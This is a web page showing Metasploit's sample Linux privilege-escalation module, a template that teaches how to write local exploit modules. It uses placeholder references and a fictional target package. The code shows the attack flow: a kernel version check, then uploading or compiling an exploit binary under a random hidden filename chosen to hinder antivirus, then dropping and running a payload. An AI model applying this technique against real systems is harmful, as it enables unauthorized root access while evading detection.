Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/example_linux_priv_esc.rb
Views: 11766
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45###6#7# This exploit sample shows how an exploit module could be written to exploit8# a bug in a command on a linux computer for priv esc.9#10###11class MetasploitModule < Msf::Exploit::Local12Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html1314# includes: is_root?15include Msf::Post::Linux::Priv16# includes: has_gcc?17include Msf::Post::Linux::System18# includes: kernel_release19include Msf::Post::Linux::Kernel20# includes writable?, upload_file, upload_and_chmodx, exploit_data21include Msf::Post::File22# includes generate_payload_exe23include Msf::Exploit::EXE24# includes register_files_for_cleanup25include Msf::Exploit::FileDropper26# includes: COMPILE option, live_compile?, upload_and_compile27# strip_comments28include Msf::Post::Linux::Compile29prepend Msf::Exploit::Remote::AutoCheck3031def initialize(info = {})32super(33update_info(34info,35# The Name should be just like the line of a Git commit - software name,36# vuln type, class. Preferably apply37# some search optimization so people can actually find the module.38# We encourage consistency between module name and file name.39'Name' => 'Sample Linux Priv Esc',40'Description' => %q{41This exploit module illustrates how a vulnerability could be exploited42in an linux command for priv esc.43},44'License' => MSF_LICENSE,45# The place to add your name/handle and email. Twitter and other contact info isn't handled here.46# Add reference to additional authors, like those creating original proof of concepts or47# reference materials.48# It is also common to comment in who did what (PoC vs metasploit module, etc)49'Author' => [50'h00die <[email protected]>', # msf module51'researcher' # original PoC, analysis52],53'Platform' => [ 'linux' ],54# from underlying architecture of the system. typically ARCH_X64 or ARCH_X86, but the exploit55# may only apply to say ARCH_PPC or something else, where a specific arch is required.56# A full list is available in lib/msf/core/payload/uuid.rb57'Arch' => [ ARCH_X86, ARCH_X64 ],58# What types of sessions we can use this module in conjunction with. Most modules use libraries59# which work on shell and meterpreter, but there may be a nuance between one of them, so best to60# test both to ensure compatibility.61'SessionTypes' => [ 'shell', 'meterpreter' ],62'Targets' => [[ 'Auto', {} ]],63# from lib/msf/core/module/privileged, denotes if this requires or gives privileged access64# since privilege escalation modules typically result in elevated privileges, this is65# generally set to true66'Privileged' => true,67'References' => [68[ 'OSVDB', '12345' ],69[ 'EDB', '12345' ],70[ 'URL', 'http://www.example.com'],71[ 'CVE', '1978-1234']72],73'DisclosureDate' => '2023-11-29',74# Note that DefaultTarget refers to the index of an item in Targets, rather than name.75# It's generally easiest just to put the default at the beginning of the list and skip this76# entirely.77'DefaultTarget' => 0,78# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html79'Notes' => {80'Stability' => [],81'Reliability' => [],82'SideEffects' => []83}84)85)86# force exploit is used to bypass the check command results87register_advanced_options [88OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])89]90end9192# Simplify pulling the writable directory variable93def base_dir94datastore['WritableDir'].to_s95end9697def check98# Check the kernel version to see if its in a vulnerable range99release = kernel_release100if Rex::Version.new(release.split('-').first) > Rex::Version.new('4.14.11') ||101Rex::Version.new(release.split('-').first) < Rex::Version.new('4.0')102return CheckCode::Safe("Kernel version #{release} is not vulnerable")103end104vprint_good "Kernel version #{release} appears to be vulnerable"105106# Check the app is installed and the version, debian based example107package = cmd_exec('dpkg -l example | grep \'^ii\'')108if package&.include?('1:2015.3.14AR.1-1build1')109CheckCode::Appears("Vulnerable app version #{package} detected")110end111CheckCode::Safe("app #{package} is not vulnerable")112end113114#115# The exploit method drops a payload file to the system, then either compiles and runs116# or just runs the exploit on the system.117#118def exploit119# Check if we're already root120if !datastore['ForceExploit'] && is_root?121fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'122end123124# Make sure we can write our exploit and payload to the local system125unless writable? base_dir126fail_with Failure::BadConfig, "#{base_dir} is not writable"127end128129# Upload exploit executable, writing to a random name so AV doesn't have too easy a job130executable_name = ".#{rand_text_alphanumeric(5..10)}"131executable_path = "#{base_dir}/#{executable_name}"132if live_compile?133vprint_status 'Live compiling exploit on system...'134upload_and_compile executable_path, strip_comments(exploit_data('example.c'))135rm_f "#{executable_path}.c"136else137vprint_status 'Dropping pre-compiled exploit on system...'138upload_and_chmodx executable_path, exploit_data('example')139end140141# register the file for automatic cleanup142register_files_for_cleanup(executable_path)143144# Upload payload executable145payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"146upload_and_chmodx payload_path, generate_payload_exe147# register payload for automatic cleanup148register_files_for_cleanup(payload_path)149150# Launch exploit with a timeout. We also have a vprint_status so if the user wants all the151# output from the exploit being run, they can optionally see it152timeout = 30153print_status 'Launching exploit...'154output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path}", nil, timeout155output.each_line { |line| vprint_status line.chomp }156end157end158159160